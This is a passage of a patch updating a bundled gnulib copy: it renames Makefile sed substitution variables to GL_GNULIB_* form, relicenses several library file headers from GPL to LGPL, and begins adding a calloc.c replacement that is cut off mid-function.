's/@''GNULIB_GETHOSTNAME''@/$(GL_GNULIB_GETHOSTNAME)/g' \ ++ -e 's/@''GNULIB_GETLOGIN''@/$(GL_GNULIB_GETLOGIN)/g' \ ++ -e 's/@''GNULIB_GETLOGIN_R''@/$(GL_GNULIB_GETLOGIN_R)/g' \ ++ -e 's/@''GNULIB_GETOPT_POSIX''@/$(GL_GNULIB_GETOPT_POSIX)/g' \ ++ -e 's/@''GNULIB_GETPAGESIZE''@/$(GL_GNULIB_GETPAGESIZE)/g' \ ++ -e 's/@''GNULIB_GETPASS''@/$(GL_GNULIB_GETPASS)/g' \ ++ -e 's/@''GNULIB_GETUSERSHELL''@/$(GL_GNULIB_GETUSERSHELL)/g' \ ++ -e 's/@''GNULIB_GROUP_MEMBER''@/$(GL_GNULIB_GROUP_MEMBER)/g' \ ++ -e 's/@''GNULIB_ISATTY''@/$(GL_GNULIB_ISATTY)/g' \ ++ -e 's/@''GNULIB_LCHOWN''@/$(GL_GNULIB_LCHOWN)/g' \ ++ -e 's/@''GNULIB_LINK''@/$(GL_GNULIB_LINK)/g' \ ++ -e 's/@''GNULIB_LINKAT''@/$(GL_GNULIB_LINKAT)/g' \ ++ -e 's/@''GNULIB_LSEEK''@/$(GL_GNULIB_LSEEK)/g' \ ++ -e 's/@''GNULIB_PIPE''@/$(GL_GNULIB_PIPE)/g' \ ++ -e 's/@''GNULIB_PIPE2''@/$(GL_GNULIB_PIPE2)/g' \ ++ -e 's/@''GNULIB_PREAD''@/$(GL_GNULIB_PREAD)/g' \ ++ -e 's/@''GNULIB_PWRITE''@/$(GL_GNULIB_PWRITE)/g' \ ++ -e 's/@''GNULIB_READ''@/$(GL_GNULIB_READ)/g' \ ++ -e 's/@''GNULIB_READLINK''@/$(GL_GNULIB_READLINK)/g' \ ++ -e 's/@''GNULIB_READLINKAT''@/$(GL_GNULIB_READLINKAT)/g' \ ++ -e 's/@''GNULIB_RMDIR''@/$(GL_GNULIB_RMDIR)/g' \ ++ -e 's/@''GNULIB_SETHOSTNAME''@/$(GL_GNULIB_SETHOSTNAME)/g' \ ++ -e 's/@''GNULIB_SLEEP''@/$(GL_GNULIB_SLEEP)/g' \ ++ -e 's/@''GNULIB_SYMLINK''@/$(GL_GNULIB_SYMLINK)/g' \ ++ -e 's/@''GNULIB_SYMLINKAT''@/$(GL_GNULIB_SYMLINKAT)/g' \ ++ -e 's/@''GNULIB_TRUNCATE''@/$(GL_GNULIB_TRUNCATE)/g' \ ++ -e 's/@''GNULIB_TTYNAME_R''@/$(GL_GNULIB_TTYNAME_R)/g' \ ++ -e 's/@''GNULIB_UNISTD_H_GETOPT''@/0$(GL_GNULIB_UNISTD_H_GETOPT)/g' \ ++ -e 's/@''GNULIB_UNISTD_H_NONBLOCKING''@/$(GL_GNULIB_UNISTD_H_NONBLOCKING)/g' \ ++ -e 's/@''GNULIB_UNISTD_H_SIGPIPE''@/$(GL_GNULIB_UNISTD_H_SIGPIPE)/g' \ ++ -e 's/@''GNULIB_UNLINK''@/$(GL_GNULIB_UNLINK)/g' \ ++ -e 's/@''GNULIB_UNLINKAT''@/$(GL_GNULIB_UNLINKAT)/g' \ ++ -e 's/@''GNULIB_USLEEP''@/$(GL_GNULIB_USLEEP)/g' \ ++ -e 's/@''GNULIB_WRITE''@/$(GL_GNULIB_WRITE)/g' \ ++ -e 's/@''GNULIB_MDA_ACCESS''@/$(GL_GNULIB_MDA_ACCESS)/g' \ ++ -e 's/@''GNULIB_MDA_CHDIR''@/$(GL_GNULIB_MDA_CHDIR)/g' \ ++ -e 's/@''GNULIB_MDA_CLOSE''@/$(GL_GNULIB_MDA_CLOSE)/g' \ ++ -e 's/@''GNULIB_MDA_DUP''@/$(GL_GNULIB_MDA_DUP)/g' \ ++ -e 's/@''GNULIB_MDA_DUP2''@/$(GL_GNULIB_MDA_DUP2)/g' \ ++ -e 's/@''GNULIB_MDA_EXECL''@/$(GL_GNULIB_MDA_EXECL)/g' \ ++ -e 's/@''GNULIB_MDA_EXECLE''@/$(GL_GNULIB_MDA_EXECLE)/g' \ ++ -e 's/@''GNULIB_MDA_EXECLP''@/$(GL_GNULIB_MDA_EXECLP)/g' \ ++ -e 's/@''GNULIB_MDA_EXECV''@/$(GL_GNULIB_MDA_EXECV)/g' \ ++ -e 's/@''GNULIB_MDA_EXECVE''@/$(GL_GNULIB_MDA_EXECVE)/g' \ ++ -e 's/@''GNULIB_MDA_EXECVP''@/$(GL_GNULIB_MDA_EXECVP)/g' \ ++ -e 's/@''GNULIB_MDA_EXECVPE''@/$(GL_GNULIB_MDA_EXECVPE)/g' \ ++ -e 's/@''GNULIB_MDA_GETCWD''@/$(GL_GNULIB_MDA_GETCWD)/g' \ ++ -e 's/@''GNULIB_MDA_GETPID''@/$(GL_GNULIB_MDA_GETPID)/g' \ ++ -e 's/@''GNULIB_MDA_ISATTY''@/$(GL_GNULIB_MDA_ISATTY)/g' \ ++ -e 's/@''GNULIB_MDA_LSEEK''@/$(GL_GNULIB_MDA_LSEEK)/g' \ ++ -e 's/@''GNULIB_MDA_READ''@/$(GL_GNULIB_MDA_READ)/g' \ ++ -e 's/@''GNULIB_MDA_RMDIR''@/$(GL_GNULIB_MDA_RMDIR)/g' \ ++ -e 's/@''GNULIB_MDA_SWAB''@/$(GL_GNULIB_MDA_SWAB)/g' \ ++ -e 's/@''GNULIB_MDA_UNLINK''@/$(GL_GNULIB_MDA_UNLINK)/g' \ ++ -e 's/@''GNULIB_MDA_WRITE''@/$(GL_GNULIB_MDA_WRITE)/g' \ + < $(srcdir)/unistd.in.h | \ + sed -e 's|@''HAVE_CHOWN''@|$(HAVE_CHOWN)|g' \ + -e 's|@''HAVE_COPY_FILE_RANGE''@|$(HAVE_COPY_FILE_RANGE)|g' \ +@@ -2080,49 +2196,49 @@ wchar.h: wchar.in.h $(top_builddir)/conf + -e 's|@''NEXT_WCHAR_H''@|$(NEXT_WCHAR_H)|g' \ + -e 's|@''HAVE_WCHAR_H''@|$(HAVE_WCHAR_H)|g' \ + -e 's/@''HAVE_CRTDEFS_H''@/$(HAVE_CRTDEFS_H)/g' \ +- -e 's/@''GNULIB_OVERRIDES_WINT_T''@/$(GNULIB_OVERRIDES_WINT_T)/g' \ +- -e 's/@''GNULIB_BTOWC''@/$(GNULIB_BTOWC)/g' \ +- -e 's/@''GNULIB_WCTOB''@/$(GNULIB_WCTOB)/g' \ +- -e 's/@''GNULIB_MBSINIT''@/$(GNULIB_MBSINIT)/g' \ +- -e 's/@''GNULIB_MBRTOWC''@/$(GNULIB_MBRTOWC)/g' \ +- -e 's/@''GNULIB_MBRLEN''@/$(GNULIB_MBRLEN)/g' \ +- -e 's/@''GNULIB_MBSRTOWCS''@/$(GNULIB_MBSRTOWCS)/g' \ +- -e 's/@''GNULIB_MBSNRTOWCS''@/$(GNULIB_MBSNRTOWCS)/g' \ +- -e 's/@''GNULIB_WCRTOMB''@/$(GNULIB_WCRTOMB)/g' \ +- -e 's/@''GNULIB_WCSRTOMBS''@/$(GNULIB_WCSRTOMBS)/g' \ +- -e 's/@''GNULIB_WCSNRTOMBS''@/$(GNULIB_WCSNRTOMBS)/g' \ +- -e 's/@''GNULIB_WCWIDTH''@/$(GNULIB_WCWIDTH)/g' \ +- -e 's/@''GNULIB_WMEMCHR''@/$(GNULIB_WMEMCHR)/g' \ +- -e 's/@''GNULIB_WMEMCMP''@/$(GNULIB_WMEMCMP)/g' \ +- -e 's/@''GNULIB_WMEMCPY''@/$(GNULIB_WMEMCPY)/g' \ +- -e 's/@''GNULIB_WMEMMOVE''@/$(GNULIB_WMEMMOVE)/g' \ +- -e 's/@''GNULIB_WMEMPCPY''@/$(GNULIB_WMEMPCPY)/g' \ +- -e 's/@''GNULIB_WMEMSET''@/$(GNULIB_WMEMSET)/g' \ +- -e 's/@''GNULIB_WCSLEN''@/$(GNULIB_WCSLEN)/g' \ +- -e 's/@''GNULIB_WCSNLEN''@/$(GNULIB_WCSNLEN)/g' \ +- -e 's/@''GNULIB_WCSCPY''@/$(GNULIB_WCSCPY)/g' \ +- -e 's/@''GNULIB_WCPCPY''@/$(GNULIB_WCPCPY)/g' \ +- -e 's/@''GNULIB_WCSNCPY''@/$(GNULIB_WCSNCPY)/g' \ +- -e 's/@''GNULIB_WCPNCPY''@/$(GNULIB_WCPNCPY)/g' \ +- -e 's/@''GNULIB_WCSCAT''@/$(GNULIB_WCSCAT)/g' \ +- -e 's/@''GNULIB_WCSNCAT''@/$(GNULIB_WCSNCAT)/g' \ +- -e 's/@''GNULIB_WCSCMP''@/$(GNULIB_WCSCMP)/g' \ +- -e 's/@''GNULIB_WCSNCMP''@/$(GNULIB_WCSNCMP)/g' \ +- -e 's/@''GNULIB_WCSCASECMP''@/$(GNULIB_WCSCASECMP)/g' \ +- -e 's/@''GNULIB_WCSNCASECMP''@/$(GNULIB_WCSNCASECMP)/g' \ +- -e 's/@''GNULIB_WCSCOLL''@/$(GNULIB_WCSCOLL)/g' \ +- -e 's/@''GNULIB_WCSXFRM''@/$(GNULIB_WCSXFRM)/g' \ +- -e 's/@''GNULIB_WCSDUP''@/$(GNULIB_WCSDUP)/g' \ +- -e 's/@''GNULIB_WCSCHR''@/$(GNULIB_WCSCHR)/g' \ +- -e 's/@''GNULIB_WCSRCHR''@/$(GNULIB_WCSRCHR)/g' \ +- -e 's/@''GNULIB_WCSCSPN''@/$(GNULIB_WCSCSPN)/g' \ +- -e 's/@''GNULIB_WCSSPN''@/$(GNULIB_WCSSPN)/g' \ +- -e 's/@''GNULIB_WCSPBRK''@/$(GNULIB_WCSPBRK)/g' \ +- -e 's/@''GNULIB_WCSSTR''@/$(GNULIB_WCSSTR)/g' \ +- -e 's/@''GNULIB_WCSTOK''@/$(GNULIB_WCSTOK)/g' \ +- -e 's/@''GNULIB_WCSWIDTH''@/$(GNULIB_WCSWIDTH)/g' \ +- -e 's/@''GNULIB_WCSFTIME''@/$(GNULIB_WCSFTIME)/g' \ +- -e 's/@''GNULIB_MDA_WCSDUP''@/$(GNULIB_MDA_WCSDUP)/g' \ ++ -e 's/@''GNULIBHEADERS_OVERRIDE_WINT_T''@/$(GNULIBHEADERS_OVERRIDE_WINT_T)/g' \ ++ -e 's/@''GNULIB_BTOWC''@/$(GL_GNULIB_BTOWC)/g' \ ++ -e 's/@''GNULIB_WCTOB''@/$(GL_GNULIB_WCTOB)/g' \ ++ -e 's/@''GNULIB_MBSINIT''@/$(GL_GNULIB_MBSINIT)/g' \ ++ -e 's/@''GNULIB_MBRTOWC''@/$(GL_GNULIB_MBRTOWC)/g' \ ++ -e 's/@''GNULIB_MBRLEN''@/$(GL_GNULIB_MBRLEN)/g' \ ++ -e 's/@''GNULIB_MBSRTOWCS''@/$(GL_GNULIB_MBSRTOWCS)/g' \ ++ -e 's/@''GNULIB_MBSNRTOWCS''@/$(GL_GNULIB_MBSNRTOWCS)/g' \ ++ -e 's/@''GNULIB_WCRTOMB''@/$(GL_GNULIB_WCRTOMB)/g' \ ++ -e 's/@''GNULIB_WCSRTOMBS''@/$(GL_GNULIB_WCSRTOMBS)/g' \ ++ -e 's/@''GNULIB_WCSNRTOMBS''@/$(GL_GNULIB_WCSNRTOMBS)/g' \ ++ -e 's/@''GNULIB_WCWIDTH''@/$(GL_GNULIB_WCWIDTH)/g' \ ++ -e 's/@''GNULIB_WMEMCHR''@/$(GL_GNULIB_WMEMCHR)/g' \ ++ -e 's/@''GNULIB_WMEMCMP''@/$(GL_GNULIB_WMEMCMP)/g' \ ++ -e 's/@''GNULIB_WMEMCPY''@/$(GL_GNULIB_WMEMCPY)/g' \ ++ -e 's/@''GNULIB_WMEMMOVE''@/$(GL_GNULIB_WMEMMOVE)/g' \ ++ -e 's/@''GNULIB_WMEMPCPY''@/$(GL_GNULIB_WMEMPCPY)/g' \ ++ -e 's/@''GNULIB_WMEMSET''@/$(GL_GNULIB_WMEMSET)/g' \ ++ -e 's/@''GNULIB_WCSLEN''@/$(GL_GNULIB_WCSLEN)/g' \ ++ -e 's/@''GNULIB_WCSNLEN''@/$(GL_GNULIB_WCSNLEN)/g' \ ++ -e 's/@''GNULIB_WCSCPY''@/$(GL_GNULIB_WCSCPY)/g' \ ++ -e 's/@''GNULIB_WCPCPY''@/$(GL_GNULIB_WCPCPY)/g' \ ++ -e 's/@''GNULIB_WCSNCPY''@/$(GL_GNULIB_WCSNCPY)/g' \ ++ -e 's/@''GNULIB_WCPNCPY''@/$(GL_GNULIB_WCPNCPY)/g' \ ++ -e 's/@''GNULIB_WCSCAT''@/$(GL_GNULIB_WCSCAT)/g' \ ++ -e 's/@''GNULIB_WCSNCAT''@/$(GL_GNULIB_WCSNCAT)/g' \ ++ -e 's/@''GNULIB_WCSCMP''@/$(GL_GNULIB_WCSCMP)/g' \ ++ -e 's/@''GNULIB_WCSNCMP''@/$(GL_GNULIB_WCSNCMP)/g' \ ++ -e 's/@''GNULIB_WCSCASECMP''@/$(GL_GNULIB_WCSCASECMP)/g' \ ++ -e 's/@''GNULIB_WCSNCASECMP''@/$(GL_GNULIB_WCSNCASECMP)/g' \ ++ -e 's/@''GNULIB_WCSCOLL''@/$(GL_GNULIB_WCSCOLL)/g' \ ++ -e 's/@''GNULIB_WCSXFRM''@/$(GL_GNULIB_WCSXFRM)/g' \ ++ -e 's/@''GNULIB_WCSDUP''@/$(GL_GNULIB_WCSDUP)/g' \ ++ -e 's/@''GNULIB_WCSCHR''@/$(GL_GNULIB_WCSCHR)/g' \ ++ -e 's/@''GNULIB_WCSRCHR''@/$(GL_GNULIB_WCSRCHR)/g' \ ++ -e 's/@''GNULIB_WCSCSPN''@/$(GL_GNULIB_WCSCSPN)/g' \ ++ -e 's/@''GNULIB_WCSSPN''@/$(GL_GNULIB_WCSSPN)/g' \ ++ -e 's/@''GNULIB_WCSPBRK''@/$(GL_GNULIB_WCSPBRK)/g' \ ++ -e 's/@''GNULIB_WCSSTR''@/$(GL_GNULIB_WCSSTR)/g' \ ++ -e 's/@''GNULIB_WCSTOK''@/$(GL_GNULIB_WCSTOK)/g' \ ++ -e 's/@''GNULIB_WCSWIDTH''@/$(GL_GNULIB_WCSWIDTH)/g' \ ++ -e 's/@''GNULIB_WCSFTIME''@/$(GL_GNULIB_WCSFTIME)/g' \ ++ -e 's/@''GNULIB_MDA_WCSDUP''@/$(GL_GNULIB_MDA_WCSDUP)/g' \ + < $(srcdir)/wchar.in.h | \ + sed -e 's|@''HAVE_WINT_T''@|$(HAVE_WINT_T)|g' \ + -e 's|@''HAVE_BTOWC''@|$(HAVE_BTOWC)|g' \ +@@ -2222,14 +2338,14 @@ wctype.h: wctype.in.h $(top_builddir)/co + -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \ + -e 's|@''NEXT_WCTYPE_H''@|$(NEXT_WCTYPE_H)|g' \ + -e 's/@''HAVE_CRTDEFS_H''@/$(HAVE_CRTDEFS_H)/g' \ +- -e 's/@''GNULIB_OVERRIDES_WINT_T''@/$(GNULIB_OVERRIDES_WINT_T)/g' \ +- -e 's/@''GNULIB_ISWBLANK''@/$(GNULIB_ISWBLANK)/g' \ +- -e 's/@''GNULIB_ISWDIGIT''@/$(GNULIB_ISWDIGIT)/g' \ +- -e 's/@''GNULIB_ISWXDIGIT''@/$(GNULIB_ISWXDIGIT)/g' \ +- -e 's/@''GNULIB_WCTYPE''@/$(GNULIB_WCTYPE)/g' \ +- -e 's/@''GNULIB_ISWCTYPE''@/$(GNULIB_ISWCTYPE)/g' \ +- -e 's/@''GNULIB_WCTRANS''@/$(GNULIB_WCTRANS)/g' \ +- -e 's/@''GNULIB_TOWCTRANS''@/$(GNULIB_TOWCTRANS)/g' \ ++ -e 's/@''GNULIBHEADERS_OVERRIDE_WINT_T''@/$(GNULIBHEADERS_OVERRIDE_WINT_T)/g' \ ++ -e 's/@''GNULIB_ISWBLANK''@/$(GL_GNULIB_ISWBLANK)/g' \ ++ -e 's/@''GNULIB_ISWDIGIT''@/$(GL_GNULIB_ISWDIGIT)/g' \ ++ -e 's/@''GNULIB_ISWXDIGIT''@/$(GL_GNULIB_ISWXDIGIT)/g' \ ++ -e 's/@''GNULIB_WCTYPE''@/$(GL_GNULIB_WCTYPE)/g' \ ++ -e 's/@''GNULIB_ISWCTYPE''@/$(GL_GNULIB_ISWCTYPE)/g' \ ++ -e 's/@''GNULIB_WCTRANS''@/$(GL_GNULIB_WCTRANS)/g' \ ++ -e 's/@''GNULIB_TOWCTRANS''@/$(GL_GNULIB_TOWCTRANS)/g' \ + -e 's/@''HAVE_ISWBLANK''@/$(HAVE_ISWBLANK)/g' \ + -e 's/@''HAVE_ISWCNTRL''@/$(HAVE_ISWCNTRL)/g' \ + -e 's/@''HAVE_WCTYPE_T''@/$(HAVE_WCTYPE_T)/g' \ +--- a/gnulib/lib/_Noreturn.h ++++ b/gnulib/lib/_Noreturn.h +@@ -2,16 +2,16 @@ + Copyright (C) 2011-2021 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or ++ under the terms of the GNU Lesser General Public License as published ++ by the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _Noreturn +--- a/gnulib/lib/alloca.in.h ++++ b/gnulib/lib/alloca.in.h +@@ -3,20 +3,18 @@ + Copyright (C) 1995, 1999, 2001-2004, 2006-2021 Free Software Foundation, + Inc. + +- This program is free software; you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public +- License along with this program; if not, see +- <https://www.gnu.org/licenses/>. +- */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Avoid using the symbol _ALLOCA_H here, as Bison assumes _ALLOCA_H + means there is a real alloca function. */ +--- a/gnulib/lib/arg-nonnull.h ++++ b/gnulib/lib/arg-nonnull.h +@@ -2,16 +2,16 @@ + Copyright (C) 2009-2021 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or ++ under the terms of the GNU Lesser General Public License as published ++ by the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* _GL_ARG_NONNULL((n,...,m)) tells the compiler and static analyzer tools +--- a/gnulib/lib/argz.c ++++ b/gnulib/lib/argz.c +@@ -3,18 +3,18 @@ + Foundation, Inc. + This file is part of the GNU C Library. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/argz.in.h ++++ b/gnulib/lib/argz.in.h +@@ -3,17 +3,17 @@ + Inc. + This file is part of the GNU C Library. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _ARGZ_H +--- a/gnulib/lib/asnprintf.c ++++ b/gnulib/lib/asnprintf.c +@@ -1,18 +1,18 @@ + /* Formatted output to strings. + Copyright (C) 1999, 2002, 2006, 2009-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/asprintf.c ++++ b/gnulib/lib/asprintf.c +@@ -2,18 +2,18 @@ + Copyright (C) 1999, 2002, 2006-2007, 2009-2021 Free Software Foundation, + Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License along +- with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> + +--- a/gnulib/lib/attribute.h ++++ b/gnulib/lib/attribute.h +@@ -2,17 +2,17 @@ + + Copyright 2020-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Paul Eggert. */ +--- a/gnulib/lib/basename-lgpl.c ++++ b/gnulib/lib/basename-lgpl.c +@@ -3,17 +3,17 @@ + Copyright (C) 1990, 1998-2001, 2003-2006, 2009-2021 Free Software + Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/basename-lgpl.h ++++ b/gnulib/lib/basename-lgpl.h +@@ -1,20 +1,20 @@ +-/* Extract the last component (base name) of a file name. ++/* Extract the last component (base name) of a file name. + +- Copyright (C) 1998, 2001, 2003-2006, 2009-2021 Free Software Foundation, +- Inc. ++ Copyright (C) 1998, 2001, 2003-2006, 2009-2021 Free Software Foundation, ++ Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, +- but WITHOUT ANY WARRANTY; without even the implied warranty of +- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _BASENAME_LGPL_H + #define _BASENAME_LGPL_H +--- a/gnulib/lib/btowc.c ++++ b/gnulib/lib/btowc.c +@@ -2,17 +2,17 @@ + Copyright (C) 2008, 2010-2021 Free Software Foundation, Inc. + Written by Bruno Haible <bruno@clisp.org>, 2008. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #include <config.h> +--- a/gnulib/lib/c++defs.h ++++ b/gnulib/lib/c++defs.h +@@ -2,16 +2,16 @@ + Copyright (C) 2010-2021 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify it +- under the terms of the GNU General Public License as published +- by the Free Software Foundation; either version 3 of the License, or ++ under the terms of the GNU Lesser General Public License as published ++ by the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +- General Public License for more details. ++ Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _GL_CXXDEFS_H +--- /dev/null ++++ b/gnulib/lib/calloc.c +@@ -0,0 +1,55 @@ ++/* calloc() function that is glibc compatible. ++ This wrapper function is required at least on Tru64 UNIX 5.1 and mingw. ++ Copyright (C) 2004-2007, 2009-2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ ++/* written by Jim Meyering and Bruno Haible */ ++ ++#include <config.h> ++ ++/* Specification. */ ++#include <stdlib.h> ++ ++#include <errno.h> ++ ++#include "xalloc-oversized.h" ++ ++/* Call the system's calloc below. */ ++#undef calloc ++ ++/* Allocate and zero-fill an NxS-byte block of memory from the heap, ++ even if N or S is zero. */ ++ ++void * ++rpl_calloc (size_t n, size_t s) ++{ ++ if (n == 0 || s == 0) ++ n = s = 1; 